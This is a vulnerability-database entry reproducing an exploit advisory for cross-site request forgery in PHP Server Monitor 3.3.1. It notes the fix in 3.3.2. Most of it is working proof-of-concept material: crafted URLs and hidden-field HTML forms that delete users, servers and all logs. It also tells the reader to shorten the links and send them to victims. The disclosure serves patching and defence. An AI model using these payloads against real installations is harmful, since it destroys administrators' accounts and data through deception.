Lucene search
K

PHP Server Monitor 3.3.1 Cross Site Request Forgery

🗓️ 04 Dec 2018 00:00:00Reported by Javier OlmedoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 68 Views

PHP Server Monitor 3.3.1 Cross Site Request Forgery vulnerability, allows removal of users, logs, and servers

Code
`# Exploit Title: PHP Server Monitor 3.3.1 - Cross-Site Request Forgery  
# Exploit Author: Javier Olmedo  
# Website: https://www.sidertia.com  
# Date: 2018-11-28  
# Google Dork: N/A  
# Vendor: https://www.phpservermonitor.org/  
# Software Link: https://github.com/phpservermon/phpservermon/releases/tag/v3.3.1  
# Affected Version: 3.3.1 and possibly before  
# Patched Version: update to 3.3.2  
# Category: Web Application  
# Platform: Windows & Ubuntu  
# Tested on: Win10x64 & Kali Linux  
# CVE: N/A  
# References:  
# https://github.com/phpservermon/phpservermon/issues/670  
# https://www.sidertia.com/Home/Community/Blog/2018/11/28/Corregidas-las-vulnerabilidades-CSRF-descubiertas-en-PHP-Server-Monitor  
  
# 1. Technical Description:  
# PHP Server Monitor version 3.3.1 and possibly before are affected by multiple  
# Cross-Site Request Forgery vulnerability, an attacker could remove users, logs,  
# and servers.  
  
# 2.1 Proof Of Concept (Delete User):  
  
(Method 1)  
Use Google URL Shortener (or similar) to shorten the next url (http://[PATH]/?&mod=user&action=delete&id=[ID]) and send it to the victim.  
  
(Method 2)  
Use next form and send it tho the victim.  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://[PATH]/">  
<input type="hidden" name="mod" value="user" />  
<input type="hidden" name="action" value="delete" />  
<input type="hidden" name="id" value="[ID]" />  
<input type="submit" value="Delete User" />  
</form>  
</body>  
</html>  
  
# 2.2 Proof Of Concept (Delete Server):  
  
(Method 1)  
Use Google URL Shortener (or similar) to shorten the next url (http://[PATH]/?&mod=server&action=delete&id=[ID]) and send it to the victim.  
  
(Method 2)  
Use next form and send it tho the victim.  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://[PATH]/">  
<input type="hidden" name="mod" value="server" />  
<input type="hidden" name="action" value="delete" />  
<input type="hidden" name="id" value="[ID]" />  
<input type="submit" value="Delete Server" />  
</form>  
</body>  
</html>  
  
# 2.3 Proof Of Concept (Delete All Logs):  
  
(Method 1)  
Use Google URL Shortener (or similar) to shorten the next url (http://[PATH]/?&mod=server_log&action=delete) and send it to the victim.  
  
(Method 2)  
Use next form and send it tho the victim.  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://[PATH]/">  
<input type="hidden" name="mod" value="server_log" />  
<input type="hidden" name="action" value="delete" />  
<input type="submit" value="Delete All Logs" />  
</form>  
</body>  
</html>  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation